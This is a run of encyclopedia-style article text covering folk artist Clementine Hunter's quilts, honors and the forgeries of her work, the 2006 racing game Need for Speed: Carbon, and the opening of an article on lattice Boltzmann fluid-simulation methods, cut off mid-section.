Hunter's quilts and tapestries are clear examples of her artistic talent before she began painting, and feature subjects and her color palette that are central to the majority of her artwork. Many of her quilts are titled "Melrose Quilt" or "Melrose Plantation" Textile or Tapestry as many of them depict buildings on the Melrose grounds. The Melrose Plantation Textile, which is hand appliquéd and sewn, is from 1938 or 1939, and is thematically similar to her painted works. Most of Hunter's textile work is owned in private collections; however, a photograph of Hunter in her home shows her using one of her Chevron as a couch covering. Each square is hand sewn together. Many of Hunter's quilts are not batted, which signals that they are designed to hang as a tapestry, rather than serve a household function.
Hunter made several quilts that are more abstract. One Chevron Quilt is at the New Orleans Museum of Art. Some of the squares of chevron are alternating solid colors, while other squares are pieces of scrap patterned cloth. Although Hunter's abstract paintings made in 1962 and 1936 are generally regarded as a break in her canon, her early textile work and paintings play with abstraction and impressionism. Additionally, Shelby Gilley's collection of Hunter's "Crazy Quilts" or Chevron quilts are dated as 1960, and the Chevron Quilt at the New Orleans Museum of Art is dated 1951, before her collaboration with James Register.
Legacy and honors
A director of the Museum of American Folk Art in New York City described Hunter as "the most celebrated of all Southern contemporary painters."
Hunter was the first African-American artist to have a solo exhibition at the Delgado Museum (now the New Orleans Museum of Art). In February 1985, the museum hosted A New Orleans Salute to Clementine Hunter's Centennial, an exhibit in honor of her one-hundredth birthday. She achieved significant recognition during her lifetime, including an invitation to the White House from U.S. President Jimmy Carter and letters from both President Ronald Reagan and U.S. Senator J. Bennett Johnston, Jr.
Radcliffe College included Hunter in its Black Women Oral History Project, published in 1980. An interview with Hunter is part of the Black Women Oral History Project records, 1976–1997, housed at Harvard University, Radcliffe Institute, Schlesinger Library. In the Mildred H. Bailey Collection of Interviews at Northwestern State University of Louisiana, there are digitized interviews with Hunter and those closest to her.
Northwestern State University of Louisiana granted her an honorary Doctor of Fine Arts degree in 1986. The following year, Louisiana governor Edwin Edwards designated her as an honorary colonel, a state honor, and aide-de-camp.
A biography, Clementine Hunter: Cane River Artist (2012), was co-written by Tom Whitehead, a retired journalism professor who knew Hunter well. \
Hunter has been the subject of biographies and artist studies, and inspired other works of art. In 2013, composer Robert Wilson presented a new opera about her: Zinnias: the Life of Clementine Hunter, at Montclair State University in New Jersey. Shinnerrie Jackson's one-woman musical Ain't I a Woman? honors the lives of four influential African American women, including Hunter.
Hunter's work can be found in numerous museums such as the Dallas Museum of Fine Art, the American Folk Art Museum, Minneapolis Institute of Arts, the Ogden Museum of Southern Art, the New Orleans Museum of Art, and the Louisiana State Museum.
Clementine Hunter's World is a 2017 documentary directed by noted Hunter scholar Art Shiver. The film celebrates Hunter's life and artwork through the lens of photographs, oral histories, and the newly resorted African House Murals. In addition to the film, the Smithsonian National Museum of African American History & Culture created an exhibition centering on Hunter called "Clementine Hunter: Life on Melrose Plantation." According to Smithsonian American Art curator Tuliza Fleming, the 22 works by Hunter is the largest collection by a single artist at the museum.
In 2019, Louisiana State Legislators passed a resolution that designated October 1 as Clementine Hunter Day. Loletta Jones-Wynder, the director of the Creole Heritage Center at Northwestern State University of Louisiana, created the resolution to honor Hunter's legacy and impact on the State of Louisiana.
Forgeries
As Hunter became increasingly more famous over her lifetime, and began selling her painted works for more money, forged paintings started becoming a problem. Relatives of Clementine Hunter and Cammie Henry created forgeries, although very few. Although there were many Hunter fakes, William and Beryl Toye were the most prolific. In 1974, William J. Toye was charged with forging twenty-two Hunter paintings by the New Orleans police. Toye was able to pass these paintings off as Hunter originals because he recreated her distinctive signature, a backwards C and an H interlocking. William Toye's wife Beryl claimed that she purchased the paintings directly from Hunter at Melrose Plantation in the 1960s. Toye's case never went to trial, despite verification from Hunter herself that she had not painted the works. In 1996, Toye was accused of forging Matisse and Degas paintings, selling them to an auction house in Baton Rouge. Toye likely began forging Hunter paintings again in 1999, selling them or using them as a form of payment for doctor's bills or as collateral for a bank loan until the mid 2000s.
Toye sold many his fakes to New Orleans art and antiques dealer, Robert Lucky Jr. Lucky intentionally lied to his customers about the origins of fifty to one hundred Hunter paintings, reselling paintings that were returned as fakes. In 2000, Robert Lucky Jr. took payment for a Hunter painting that he never gave to the customer, and was charged and arrested. Some noted Hunter collectors caught on his scheme, such as Robert Ryan who returned some paintings bought from Lucky, demanding a refund. Shelby Gilley and Tom Whitehead, scholars, collectors, and friends of Hunter, also figured out that the bulk of Hunter fakes were coming from Lucky, leading them to open an investigation. Whitehead had bought a total of seventeen fake Clementine Hunter paintings from Lucky, spending a total of $55,000.
In 2005, Tom Whitehead, Shelby Gilley, and Jack Brittain hired Frank Preusser, an art authentication expert, to investigate these forgeries. Preusser analyzed the materials used in the paintings in question, compared to those sold by Lucky and determined that they were in fact inconsistent materials. The investigation uncovered paintings sold by William Toye, which were consistent with the fakes sold by Robert Lucky Jr., as Toye began selling the fakes directly to buyers in 2005. At that time, Beryl Toye was selling Hunter fakes for $3,500 a painting at a New Orleans auction house.
In 2009, Federal Bureau of Investigation Special Agent Randolph Deaton assembled a team of noted art authentication experts, to begin a formal investigation into the forgeries. The team included Joseph Barabe of McCrone Associates, a scientific analysis company and James Martin a forensic art expert of Orion Analytical. The group used several methods to analyze Hunter's original works to compare to the alleged forgeries, including an analysis of pigment cracks, paint age, painting style. However, one of the most important clues that a painting was a Hunter original were her fingerprints on the back of the oil paintings. Hunter did not use an easel, so the backs and borders of her paintings are smudged with paint, unlike the forgeries by Toye who used an easel to paint his fakes.
In September 2009, the FBI determined that William Toye was the one producing the forgeries and raided his home. Toye, who was accused of selling forged paintings three times over the course of four decades, pleaded guilty in federal court on June 6, 2011. The couple was charged with mail fraud and conspiracy to commit mail fraud. The price for Hunter paintings ranged between a few thousand dollars to $20,000, according to Tom Whitehead. Both William and Beryl Toye were sentenced to two years probation and a $426,393 fine for the cost of the fakes sold. Robert Lucky Jr. was charged with mail fraud and pled guilty, was sentenced to twenty-five months in prison and a $326,893 fine.
This investigation was crucial to protecting Hunter's legacy, as many of the fakes were shown in museums in private collections around the world. Additionally, very few FBI forgery cases investigate folk artists or outsider artists, and so this case helped to legitimize the value of self-taught artists.
Selected works and collections
Funeral Procession, ca. 1950, Savannah College of Art and Design
Untitled, 1981, National Museum of Women in the Arts, Washington, D.C.
Melrose Quilt, ca. 1960, Smithsonian American Art Museum, Washington, D.C.
The Wash, ca. 1950s, Minneapolis Institute of Art, Minneapolis, MN
Picking Cotton, ca. 1950s, Minneapolis Institute of Art, Minneapolis, MN
The Annunciation and the Adoration of the Wise Men, 1957, Museum of Fine Arts, Boston, MA
Cotton Pickin', 1948, American Folk Art Museum, New York, NY
Saturday Night, 1965, American Folk Art Museum, New York, NY
Baptism, 1950-1956, Abby Aldrich Rockefeller Folk Art Museum at Colonial Williamsburg, Williamsburg, VA
Funeral, 1957, Muscarelle Museum of Art, Williamsburg, VA
Sugar Cane Syrup Makin', 1979, Muscarelle Museum of Art, Williamsburg, VA
Baptism, Late 1950s, Muscarelle Museum of Art, Williamsburg, VA
Window Shade, 1950s, National Museum of African American History and Culture, Washington, D.C.
ca. 1950s, Pérez Art Museum Miami, FL
Studies and other related books
Mildred Hart Bailey, Four Women of Cane River (1980)
Shelby R. Gilley, Painting by Heart: The Life and Art of Clementine Hunter, Louisiana Folk Artist (2000), St. Emma Press
Clementine Hunter, Clementine Hunter: A Sketchbook (2014), University of New Orleans Press.
Mary E. Lyons, Talking with Tebé (1998), Houghton Mifflin.
François Mignon, illustrated by Clementine Hunter, Melrose Plantation Cookbook (1956), ASIN B000CS68QA
Art Shiver, Tom Whitehead (editors), Clementine Hunter: The African House Murals (2005), Northwestern State University of Louisiana Press.
Art Shiver, Tom Whitehead (co-authors), Clementine Hunter Her Life and Art (2012), LSU Press.
James Register, illustrated by Clementine Hunter, The Joyous Coast (1971), Mid-South Press, Shreveport, Louisiana
James Wilson, Clementine Hunter: American Folk Artist (1990), Pelican Publishing Company
See also
Mose Tolliver
Outsider art
Folk Art
Southern art
Melrose Plantation
References
External links
Jennifer Moses, "Looking for Clementine Hunter's Louisiana" The New York Times (June 14, 2013). Retrieved June 17, 2013
"Clementine Hunter: A Sketchbook", University of New Orleans Press/Ogden Museum of Southern Art
Ashleigh Barice, "Artist in focus: Clementine Hunter", Art UK, March 9, 2017
1880s births
1988 deaths
Year of birth uncertain
African-American women artists
Outsider artists
Women outsider artists
20th-century American women artists
Artists from Louisiana
20th-century American painters
Painters from Louisiana
People from Natchitoches Parish, Louisiana
American centenarians
African-American centenarians
Women centenarians
African-American Catholics
20th-century African-American women
20th-century African-American painters
American quilters
20th-century American farmers
20th-century women farmers
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5074387
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https://en.wikipedia.org/wiki/Need%20for%20Speed%3A%20Carbon
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Need for Speed: Carbon
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Need for Speed: Carbon is a 2006 racing video game and the tenth installment in the Need for Speed series. Developed by EA Black Box, Rovio Mobile and published by Electronic Arts, it was released on October 31, 2006, for the PlayStation 2, PlayStation 3, Xbox, Xbox 360, GameCube, Windows, and Mac OS X, and on November 19, 2006 as a launch title for the Wii and in 2008 for arcade cabinets. The game sees players conducting illegal street races within the fictional city of Palmont City, with the game's main story taking place after the events of Need for Speed: Most Wanted and focusing on the player's character taking control of the city from various street-racing gangs. While the gameplay is similar to its predecessor, Carbon introduced a number of new features, including crews and racing wingmen, Touge-styled racing events, and greater customization options.
Alongside console, home computer, and arcade versions, the game also received portable editions for the PlayStation Portable, Game Boy Advance, Nintendo DS, and Zeebo, titled Need for Speed: Carbon – Own the City. While the portable games featured similar gameplay to the console version, they included new/modified gameplay elements, a different setting and storyline, and a different selection of AI teammates.
Upon the release of Carbon, the game received positive reviews from critics, though it faced some criticism over elements of its gameplay mechanics, including a lack of emphasis on police chases compared to its predecessor. A special Collector's Edition version of the title was developed for PlayStation 2, Windows and Xbox 360, and included additional content including new cars, new customization items and new events for two of its game modes. The game was later succeeded by Need for Speed: ProStreet in 2007.
As of 2021, download versions of the game are no longer available for purchase in any online stores, and online play was shutdown on September 1.
Gameplay
Overview
In the game, players take part in illegal street races that focus on different styles of races, utilizing a variety of licensed real-world cars (available at the time of the game's development and release) that can be upgraded and customized with new parts, while contending with the involvement of the police in their efforts to impede the player. Racing Events focus on competitive races with other drivers on circuits or point-to-point routes, checkpoint races, and races involving sprints or drifting (the latter being absent in its predecessor), with players able to use Nitrous Oxide and Speedbreaker whenever needed – either to help win races or get out of tight spots – both of which recharge over time. The game itself features four game modes – Career, Quick Race, Challenge Series, and Multiplayer – with the latter featuring online gameplay available in all console and PC versions of the game, except the Wii's edition.
The game operates on the same gameplay mechanics used in previous entries in the series, including its predecessor Most Wanted, though Carbon introduced new elements. A new element exclusive to Carbon is Canyon events – special racing events styled after Japanese Tōge racing, in which players compete in competitive racing on canyon roads outside the game's main setting. These events consist of sprints, drifting and duel events, in which the latter two feature a majority of destructible guardrails that the player must avoid crashing through or risk losing these respective events as a result. Duel events on these circuits operate differently to events involving major rival racers in Need for Speed games, as these are conducted across two stages on a canyon circuit – in each stage, one driver acts as the chaser and pursues the other at close proximity, with the first stage seeing the player as the chaser and scoring points the closer they can tail their opponent, while in the second stage their opponent becomes the chaser and the player must keep as much distance as possible to avoid losing too many points before the stage is completed. At the end of both stages, the car who took the lead wins if their score is positive, otherwise, their opponent wins if they turned it negative. Apart from scores, an instant win is possible depending on which mode the Duel is conducted in – in Career mode, the player can win instantly if they can stay ahead of their opponent for ten seconds, but lose if they fall behind for too long; in Online Multiplayer, a player wins if their opponent crashes through a guardrail.
Police pursuits, a staple of the series, function similar to Most Wanted in that police can turn up at any time during a race and attempt to impede the player during the event, except in Canyon Race events and checkpoint races; in Career mode, the police can also turn up during Free Roam, but will not act against the player unless they have a warrant (for evading a previous pursuit) or committed an offence in their sight, whereupon they focus on blocking in and arresting the player unless they can lose them and find a safe spot to hide until they lose their heat. As the player is pursued, they can either attempt to evade the cops or knock them out of action by ramming their cars or using destructible props called Pursuit Breakers to impede their pursuit, though extensive pursuits will cause the player's heat level to rise, leading to stronger pursuit tactics including spike strips, roadblocks, and the involvement of state/federal authorities. Carbon modified the pursuit function by making police less dominant in arrest tactics at higher heat levels, and reducing the chance a Pursuit Breaker blocks/destroys a pursuing vehicle.
Licensed real-world cars used in the game are divided into three tiers (performance level) and three classes – Exotic, Tuner, and Muscle. For example, a Nissan 240SX is a tier 1 tuner car, while a Corvette Z06 is a tier 3 muscle car. Each car class also has advantages and disadvantages in terms of driving styles. Tuner cars are the best ones about handling and cornering capability, while they have lower top speed and acceleration rates than the other two classes. Muscle cars have the best acceleration but they are very difficult for handling than the Exotics and Tuners. Exotic cars have the highest top speed rates, better handling than the Muscle cars but the lower than the Tuner Cars. Cars receive visual damage during the game, but no physical damage. Cars can be upgraded in performance through new components and fine-tuning of each component – such upgrades can help, for example, to improve speed, or improve braking. Carbon added the ability to customize visual parts via autosculpt parts, which allow adjustments of components for example, while adding flexibility with vinyls and decals by allowing them to be placed in layers over each other, with the ability to modify these in shape and size, and place them anywhere on the car. Additional cars and customization parts can be acquired through completing Reward Cards – each card consists of a set of challenges for the player to complete across the game modes, and reward the player either with a new vehicle to use or new parts for customization.
Career Mode
The game's main mode focuses on the player competing in races against rival street racing crews, instead of individual racers like in Most Wanted and Underground 2. When starting in Career mode, players must choose a class that is not only permanent for their playthrough in this mode, but also dictates which of the initial three districts in the game's setting they begin in and which racing events are available first. Additional cars and classes become unlocked as the player progresses in this mode; any cars earned from Reward Cards for Quick Race mode are also available but without limitation. Players operate their own crew in Career mode and can recruit AI wingmen to assist them, each of whom operates under a different role – Blocker, Drafter, and Scout – and specialty – Fixer, Mechanic, and Fabricator. The type of role and specialty that each wingman operate under dictates how they assist the player – some can find shortcuts during races, while others can help to reduce police heat – with their role also dictating which car they drive in; the first two wingmen the player unlocks have their cars match the player's chosen class. During races, players may use their wingmen for a period of time, after which they must wait a while until their wingmen gauge has recharged before they can use them again.
To win career mode, players compete in races against other crews to secure territory – each district has a number of territories, each controlled either by the district's main crew or a minor crew through a series of racing events. Winning a majority of the races in a territory converts control to the player's crew and unlocks additional races elsewhere. Races that have been won can be engaged again, but the prize money offered is reduced as a result. Taking control of all territories will unlock a duel event with the main crew's boss, in which winning the event will allow the player to unlock special rewards, in a similar manner to the rewards offered in rival events in Most Wanted. As the player accumulates territories, they can lose any earned by losing control over its racing events to minor crews, either by failing to defeat them in takeover challenges or forfeiting the right to do so.
Quick Race
Quick Race mode allows players to create custom events for single-player or multiplayer – both splitscreen or online – making use of any circuit and cars in the game, and altering various factors such as the difficulty of opponents, track conditions and so forth; what cars and circuits can be used depends on the player's progress in Career mode, though all players can be allowed to use wingmen they have unlocked in these events, provided this option is allowed.
Challenge Series
Challenge Series consists of a series of racing events that are divided into 12 categories, each divided further into three difficulty levels. Each challenge event requires the player to complete a specific goal, depending on the type of event, using a set car on a specific course in the game. Players may choose any category to begin with, unlike in Most Wanted, but must complete in order of Easy to Hard. Completing all of the difficulty levels of a challenge unlocks either a new car or customization option for the player to use in other modes.
Online Multiplayer
Online Multiplayer mode focuses on two exclusive events for multiple players – Pursuit Knockout and Pursuit Tag:
In Pursuit Knockout, players compete in laps of a circuit, with each player in last place being knocked out and returning as cops to hinder the other players. The winner is the player who ends the race in first place.
In Pursuit Tag, one player is a racer and must evade the others, who operate as the cops. If the player is arrested by another, they switch roles. The winner is the player who spends the most time as the racer.
Plot
Setting
Carbon takes place within the fictional city of Palmont, which encompasses four boroughs linked by a highway system; Kempton, which houses the city's industrial complexes; Downtown, which houses the city's metropolitan and financial buildings; Fortuna, which houses the city's residential area; and Silverton, which houses the city's casino & resort facilities. The city is also surrounded by three canyons known as East, West, and Carbon, which feature their own layout of the route, but which are not connected to Palmont. In the game's story, which takes place during a fixed period at night, the player is not able to access Silverton until they have made progress in career mode and only can access the canyon routes during events.
Story
The player assumes the role of a street racer who, several years prior to their involvement in the events of Most Wanted, took part in a major street race around Palmont for a large cash prize against three other racers, each leader of a street racing crew: Kenji, leader of the Bushido; Angie, leader of the 21st Street; and Wolf, leader of the T.F.K. (The Fortuna Kings). However, the racers were ambushed by the Palmont Police Department (PPD), who had SWAT immobilize the player's opponents with an EMP and began arresting everyone involved. The player escaped with the help of Darius (Tahmoh Penikett), another street racer, and their former girlfriend Nikki (Emmanuelle Vaugier); before leaving she handed over the bag containing the race's prize money, which later turned out to contain paper.
Following their time in Rockport, the player returns to Palmont but is pursued along a canyon route by former police sergeant Jonathan Cross, who now works as a bounty hunter and seeks revenge against them. After a long & heated canyon chase the player’s BMW M3 GTR gets totaled, and Cross attempts to arrest them for the bounty on their head but is stopped by Darius, now leading his own crew called the Stacked Deck, who pays him off. Offering to help them, Darius asks Nikki, who now dates him, to assist despite her belief that the player betrayed everyone for the prize money. With Nikki's help, the player receives two crew members to help in races and a safehouse to operate from. On Darius' advice, the player begins taking part in street races for control over territories controlled by rival crews across three of the city's main boroughs. In the process, they also engage against Kenji, Angie and Wolf, defeating them and securing a member of their crew to aid them, each of whom confides in the player that they suspect someone else set up both them and each crew member's former bosses as Yumi, Colin, and Samson were all at the race between the player, Angie, Wolf, and Kenji, and each of them saw a vital piece of evidence to confirm the race had been rigged and doomed to an ambush by the PPD all along.
After securing all three boroughs, Darius calls a meeting with the player, only to reveal that he sought to use the player to take control of the city from the other crews, betraying them to Cross. After leaving, Nikki arrives to save the player after making a secret deal with Cross. She soon reveals that Darius was responsible for setting up the player for the theft of the prize money Darius had tipped off the police, and in the chaos that ensued, switched out the prize money while leaving the player to take the blame by helping them escape the police sting. Now aware of the truth, Nikki sides with the player to help take control of the last city borough, leading Darius to reinforce his crew with assistance from Kenji, Angie and Wolf to prevent this. The player eventually defeats Darius and his crew, gaining control of all of Palmont's territory and wins Darius's Audi Le Mans quattro in a pink slip, despite Darius warning them to enjoy their victory before someone faster than them takes over.
Development
Need for Speed: Carbon was first shown in EA's montage at Nintendo's E3 2006 conference and booth and was the cover story in the Game Informer magazine issue from July. Carbon is the first in the Need for Speed series to be released for PlayStation 3 and Wii seventh generation consoles and also the final in the series to be released for Xbox, GameCube, and Game Boy Advance. Carbon features some of cars of its predecessors, namely Need for Speed: Underground 2 and Need for Speed: Most Wanted, but also incorporates many new additions including the Audi Le Mans quattro, the Chrysler 300C SRT 8, Chevrolet's Chevelle SS, and the Alfa Romeo Brera. Carbon features the Canadian actress and model Emmanuelle Vaugier as Nikki, the player's main source of help and ally in the Career storyline. The game is available for use with Mac OS X. Need for Speed: Carbon debuted at number one on the UK All Format Gaming Chart on its first week of release, beating Konami's Pro Evolution Soccer.
Carbon was also the first game in the series to feature detailed character animations for the Windows and seventh-generation releases using facial motion capture, where in-game models of characters such as Neville, Wolf, Angie and Kenji appear in real-time cutscenes taunting or remarking the player in a race or at certain points. This has however been omitted on the sixth-generation and Wii versions due to platform limitations.
The Need for Speed: Carbon – Collector's Edition was released for PlayStation 2, Windows and Xbox 360. It features four exclusive cars, ten pre-tuned cars, six new races, three unique challenge events, ten unique vinyls and a Bonus DVD showing the making of Carbon and showcasing all the cars used in the game. The Collector's Edition also features alternate box art and a metallic-finish sleeve encasing the case of the game. Although the Mac edition doesn't display the Collector's Edition title, it contains all Collector's Edition features. The downloaded version of the game features the Ultimate Performance Kit, 2006 Pagani Zonda F and the 1971 Dodge Challenger R/T. An arcade version of the same name was released by EA Arcades in 2008.
The arcade version was developed by Global VR.
Soundtrack
The game features a licensed soundtrack by EA Trax just like other games developed by EA. Unlike most other games, there are different songs depending on what car category you are using. For Tuners, it mostly plays electronica music performed by artists like Gary Numan, Ladytron, The Presets, as well as Melody (who is known for portraying the Bushido crew member Yumi in the game). For Muscles, they mostly play rock songs performed by artists like Eagles of Death Metal, Wolfmother and Kyuss. For Exotics, its mostly rap songs performed by Ekstrak, Pharrell, Sway, Spank Rock and Dynamite MC. These songs can only be heard during free roam or checkpoint races. The game also has a composed soundtrack performed by Trevor Morris that mostly plays during race sequences and canyon duels. Some of the pursuit chase music performed by Paul Linford that was originally featured in Need For Speed: Most Wanted also plays during pursuit chases.
Reception
Need for Speed: Carbon was met with generally positive reviews. IGN gave the PC version an 8.2 out of ten and the PlayStation 3 version a 7.9 out of ten. GameSpot gave praise for adding more movie clips, customization and solid gameplay, but was critical about frustrating boss battles and underutilizing police chases.
Electronic Gaming Monthly gave the game an average score of eight. Hypers Daniel Wilks commended the game for its "large gameworld", but criticised it for its easy drift course mechanics and the actors in the cutscenes. The Australian video game talk show Good Game gave the game five out of ten.
Need for Speed: Carbon has sold 3.2 million copies in the United States. Its PlayStation 2 version received a "Double Platinum" sales award from the Entertainment and Leisure Software Publishers Association (ELSPA), indicating sales of at least 600,000 copies in the United Kingdom.
Need for Speed: Carbon – Own the City
Gameplay
Own the City features similar gameplay to the console editions, but while the Autosculpt function, Canyon Race events and drifting events are absent, the portable edition allows for free-roaming around the game's setting of Coast City, offers three new racing events, and modification to some of the gameplay mechanics. The new events consist of Escape, in which players attempt to escape from a rival crew's territory; Delivery, in which players and their crew race to a designated area with a package and attempt to beat other racers doing the same thing; and Crew Takedown, in which players to eliminate a set number of rival racers to win. During free roam, the player can explore the city and seek out crates scattered across the game's setting, in a similar manner to the hidden package system in Grand Theft Auto, which when broken unlock rewards ranging from cash to game art. Police pursuits can occur in Own the City, but only in free roam; the player is not pursued during racing events.
Players can hire up to five wingmen for their racing crew, in which two members may be active for use in racing events, though like Carbon they cannot be used in the game's Lap Knockout, Escape, and Crew Takedown events. Wingmen are divided into three classes – Brawlers, Drafters, and Assassins. While the first two classes operate in a similar manner to Carbons wingmen roles of Blockers and Drafters respectively, Assassins replace the console's role of Scouts, and can be used to take out multiple rivals with deployable spike strips. The game's main mode of gameplay requires players to take control of territory – unlike the setting of Palmont, Coast City features around 13 areas of territory across 6 districts, with each area that is conquered unlocking new items for purchase and a new wingman for the player to recruit.
Plot
The player and their brother Mick compete in an illegal street race with two other racers, seeking to see who will own the whole of Coast City amongst them. However, the race ends in a terrible car crash that kills Mick and leaves the player in the hospital with amnesia. In the aftermath of Mick's death, his control over the city's territories is divided up between various street racing crews. When the player wakes up six months later, they are greeted by Mick's girlfriend Sara and his wingman Carter, both of whom help the player regain their memories of the race when visiting their brother's grave.
The player sets out to find who killed Mick, forming a crew to help them race and defeat the other crews, regaining territory and asking the defeated crew bosses what they know about the race's accident. During this time, Sara disappears. Eventually, the player is informed that a young driver named Buddy caused the crash, whereupon a crew boss known as EX helps the player to locate Buddy. When they confront the driver, the player learns that Buddy was hired by someone to kill Mick, and hands them a phone. Upon completing more races, the player encounters and defeats an undercover police officer named MK, who uses his connection with the city's police to trace Buddy's employer. The player soon discovers that EX planned Mick's murder, and so pursues after and defeats him, leaving him to be apprehended by MK and the city police.
Sara soon returns and instructs the player to race her, whereupon she reveals that the player arranged for EX to kill Mick. Sara reveals that the player's brother had a monstrous personality that led to her and the player being hurt, so the player arranged for Mick to be killed in an accident during a race to be rid of him, thus allowing Sara and themselves to be free. Sara soon embraces her freedom, handing over Mick's watch and stating how different the player is to him.
References
External links
2006 video games
Electronic Arts games
Exient Entertainment games
Fratricide in fiction
GameCube games
Game Boy Advance games
MacOS games
Mobile games
Multiplayer and single-player video games
Nintendo DS games
PlayStation 2 games
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Wii games
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Open-world video games
Split-screen multiplayer games
Street racing video games
Video games about amnesia
Video games about police officers
Video games about revenge
Video games developed in Canada
Video games developed in Finland
Video games scored by Trevor Morris
Video game sequels
Video games set in the United States
Video games with alternative versions
Video games with custom soundtrack support
Global VR games
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Pocketeers games
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5074413
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https://en.wikipedia.org/wiki/Lattice%20Boltzmann%20methods
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Lattice Boltzmann methods
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The lattice Boltzmann methods (LBM), originated from the lattice gas automata (LGA) method (Hardy-Pomeau-Pazzis and Frisch-Hasslacher-Pomeau models), is a class of computational fluid dynamics (CFD) methods for fluid simulation. Instead of solving the Navier–Stokes equations directly, a fluid density on a lattice is simulated with streaming and collision (relaxation) processes. The method is versatile as the model fluid can straightforwardly be made to mimic common fluid behaviour like vapour/liquid coexistence, and so fluid systems such as liquid droplets can be simulated. Also, fluids in complex environments such as porous media can be straightforwardly simulated, whereas with complex boundaries other CFD methods can be hard to work with.
Algorithm
Unlike CFD methods that solve the conservation equations of macroscopic properties (i.e., mass, momentum, and energy) numerically, LBM models the fluid consisting of fictive particles, and such particles perform consecutive propagation and collision processes over a discrete lattice. Due to its particulate nature and local dynamics, LBM has several advantages over other conventional CFD methods, especially in dealing with complex boundaries, incorporating microscopic interactions, and parallelization of the algorithm. A different interpretation of the lattice Boltzmann equation is that of a discrete-velocity Boltzmann equation. The numerical methods of solution of the system of partial differential equations then give rise to a discrete map, which can be interpreted as the propagation and collision of fictitious particles.
In an algorithm, there are collision and streaming steps. These evolve the density of the fluid , for the position and the time. As the fluid is on a lattice, the density has a number of components equal to the number of lattice vectors connected to each lattice point. As an example, the lattice vectors for a simple lattice used in simulations in two dimensions is shown here. This lattice is usually denoted D2Q9, for two dimensions and nine vectors: four vectors along north, east, south and west, plus four vectors to the corners of a unit square, plus a vector with both components zero. Then, for example vector , i.e., it points due south and so has no component but a component of . So one of the nine components of the total density at the central lattice point, , is that part of the fluid at point moving due south, at a speed in lattice units of one.
Then the steps that evolve the fluid in time are:
The collision step
which is the Bhatnagar Gross and Krook (BGK) model for relaxation to equilibrium via collisions between the molecules of a fluid. is the equilibrium density along direction i at the current density there. The model assumes that the fluid locally relaxes to equilibrium over a characteristic timescale . This timescale determines the kinematic viscosity, the larger it is, the larger is the kinematic viscosity.
The streaming step
As is, by definition, the fluid density at point at time , that is moving at a velocity of per time step, then at the next time step it will have flowed to point .
Advantages
The LBM was designed from scratch to run efficiently on massively parallel architectures, ranging from inexpensive embedded FPGAs and DSPs up to GPUs and heterogeneous clusters and supercomputers (even with a slow interconnection network). It enables complex physics and sophisticated algorithms. Efficiency leads to a qualitatively new level of understanding since it allows solving problems that previously could not be approached (or only with insufficient accuracy).
The method originates from a molecular description of a fluid and can directly incorporate physical terms stemming from a knowledge of the interaction between molecules. Hence it is an indispensable instrument in fundamental research, as it keeps the cycle between the elaboration of a theory and the formulation of a corresponding numerical model short.
Automated data pre-processing and lattice generation in a time that accounts for a small fraction of the total simulation.
Parallel data analysis, post-processing and evaluation.
Fully resolved multi-phase flow with small droplets and bubbles.
Fully resolved flow through complex geometries and porous media.
Complex, coupled flow with heat transfer and chemical reactions.
Limitations
Despite the increasing popularity of LBM in simulating complex fluid systems, this novel approach has some limitations. At present, high-Mach number flows in aerodynamics are still difficult for LBM, and a consistent thermo-hydrodynamic scheme is absent. However, as with Navier–Stokes based CFD, LBM methods have been successfully coupled with thermal-specific solutions to enable heat transfer (solids-based conduction, convection and radiation) simulation capability. For multiphase/multicomponent models, the interface thickness is usually large and the density ratio across the interface is small when compared with real fluids. Recently this problem has been resolved by Yuan and Schaefer who improved on models by Shan and Chen, Swift, and He, Chen, and Zhang. They were able to reach density ratios of 1000:1 by simply changing the equation of state. It has been proposed to apply Galilean Transformation to overcome the limitation of modelling high-speed fluid flows.
Nevertheless, the wide applications and fast advancements of this method during the past twenty years have proven its potential in computational physics, including microfluidics: LBM demonstrates promising results in the area of high Knudsen number flows.
Development from the LGA method
LBM originated from the lattice gas automata (LGA) method, which can be considered as a simplified fictitious molecular dynamics model in which space, time, and particle velocities are all discrete. For example, in the 2-dimensional FHP Model each lattice node is connected to its neighbors by 6 lattice velocities on a triangular lattice; there can be either 0 or 1 particles at a lattice node moving with a given lattice velocity. After a time interval, each particle will move to the neighboring node in its direction; this process is called the propagation or streaming step. When more than one particle arrives at the same node from different directions, they collide and change their velocities according to a set of collision rules. Streaming steps and collision steps alternate. Suitable collision rules should conserve the particle number (mass), momentum, and energy before and after the collision. LGA suffer from several innate defects for use in hydrodynamic simulations: lack of Galilean invariance for fast flows, statistical noise and poor Reynolds number scaling with lattice size. LGA are, however, well suited to simplify and extend the reach of reaction diffusion and molecular dynamics models.
The main motivation for the transition from LGA to LBM was the desire to remove the statistical noise by replacing the Boolean particle number in a lattice direction with its ensemble average, the so-called density distribution function. Accompanying this replacement, the discrete collision rule is also replaced by a continuous function known as the collision operator. In the LBM development, an important simplification is to approximate the collision operator with the Bhatnagar-Gross-Krook (BGK) relaxation term. This lattice BGK (LBGK) model makes simulations more efficient and allows flexibility of the transport coefficients. On the other hand, it has been shown that the LBM scheme can also be considered as a special discretized form of the continuous Boltzmann equation. From Chapman-Enskog theory, one can recover the governing continuity and Navier–Stokes equations from the LBM algorithm.
Lattices and the DnQm classification
Lattice Boltzmann models can be operated on a number of different lattices, both cubic and triangular, and with or without rest particles in the discrete distribution function.
A popular way of classifying the different methods by lattice is the DnQm scheme. Here "Dn" stands for "n dimensions", while "Qm" stands for "m speeds". For example, D3Q15 is a 3-dimensional lattice Boltzmann model on a cubic grid, with rest particles present. Each node has a crystal shape and can deliver particles to 15 nodes: each of the 6 neighboring nodes that share a surface, the 8 neighboring nodes sharing a corner, and itself. (The D3Q15 model does not contain particles moving to the 12 neighboring nodes that share an edge; adding those would create a "D3Q27" model.)
Real quantities as space and time need to be converted to lattice units prior to simulation. Nondimensional quantities, like the Reynolds number, remain the same.
Lattice units conversion
In most Lattice Boltzmann simulations is the basic unit for lattice spacing, so if the domain of length has lattice units along its entire length, the space unit is simply defined as . Speeds in lattice Boltzmann simulations are typically given in terms of the speed of sound. The discrete time unit can therefore be given as , where the denominator is the physical speed of sound.
For small-scale flows (such as those seen in porous media mechanics), operating with the true speed of sound can lead to unacceptably short time steps. It is therefore common to raise the lattice Mach number to something much larger than the real Mach number, and compensating for this by raising the viscosity as well in order to preserve the Reynolds number.
Simulation of mixtures
